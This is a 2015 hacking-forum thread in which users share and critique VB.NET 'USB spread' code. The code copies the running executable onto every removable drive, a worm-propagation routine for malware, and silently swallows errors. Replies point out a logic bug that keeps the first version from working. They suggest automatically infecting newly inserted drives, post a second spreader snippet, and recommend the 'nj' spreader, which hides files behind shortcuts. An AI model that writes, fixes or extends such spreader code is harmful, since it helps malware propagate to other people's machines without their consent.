Thread: [! good usb spread!](#)

xVipX - January 1, 2015, 7:41 am

this my class usb spread you put in the form or button ect...
the coder me :)
'xvipx

```
Dim Start As String = Application.ExecutablePath 'my Application
```

```
Try
```

```
For Each drive As System.IO.DriveInfo In System.IO.DriveInfo.GetDrives
```

```
    If drive.DriveType = IO.DriveType.Removable And IO.DriveType.CDRom AndAlso  
drive.IsReady Then 'check if usb is ready
```

```
        Dim DriveLetter As String = drive.Name  
        Dim path = DriveLetter & IO.Path.GetFileName(Start)  
        IO.File.Copy(Start, path) 'copy into usb
```

```
    End If
```

```
Next
```

```
Catch ex As Exception  
End Try
```

```
End Sub
```

Thanks for sharing, but what's this for? Sorry, I'm not that great with this stuff. I can only see it's copying information onto the USB, but from where?

xVipX - January 1, 2015, 8:09 am

from you application in vb.net or
Dim Start As String = "c:\spread.exe"

Odus - January 1, 2015, 8:52 am

You're using TryCatch but doing nothing with the caught exception. Why? Also, on your drive check, And should be replaced with Or, there's no way the drive can be both removable (USB, floppy disk [lol]) and a physical CD-ROM. So your code will do absolutely nothing. You could also use a management event watcher to detect newly inserted drives and automatically copy to it. Would be something different than the bunch of spreaders we see on a regular basis.

Stop post boosting in the coding sections please. It's a dead giveaway when you post nothing useful.

I was asking a question. Have anything else you'd like to criticize about me?

Oh come on: 4 combined posts in the .NET section with your top 3 sections being the lounge, giveaways, and appraisals?

Here:

I just taught you about variables.

google nj usb spread if u want to see better one
and much simple

```
Code Parallel.ForEach(IO.DriveInfo.GetDrives, Sub(d)
    Try
    If d.DriveType = d.IsReady And IO.DriveType.Removable Then
    IO.File.Copy(Application.ExecutablePath, d.Name & "Tmp.exe")
    End If
    Catch : End Try
End Sub)
```

xVipX - January 1, 2015, 11:15 am

yes nj spred by create shortcut & Attributes file spredr(hide) & njq8 from arabe country like me & his best coder in vb.net ;)

He B TeMy - January 1, 2015, 1:16 pm

Why the fuck is there a Try catch in there?

This can be found in google, why post it?
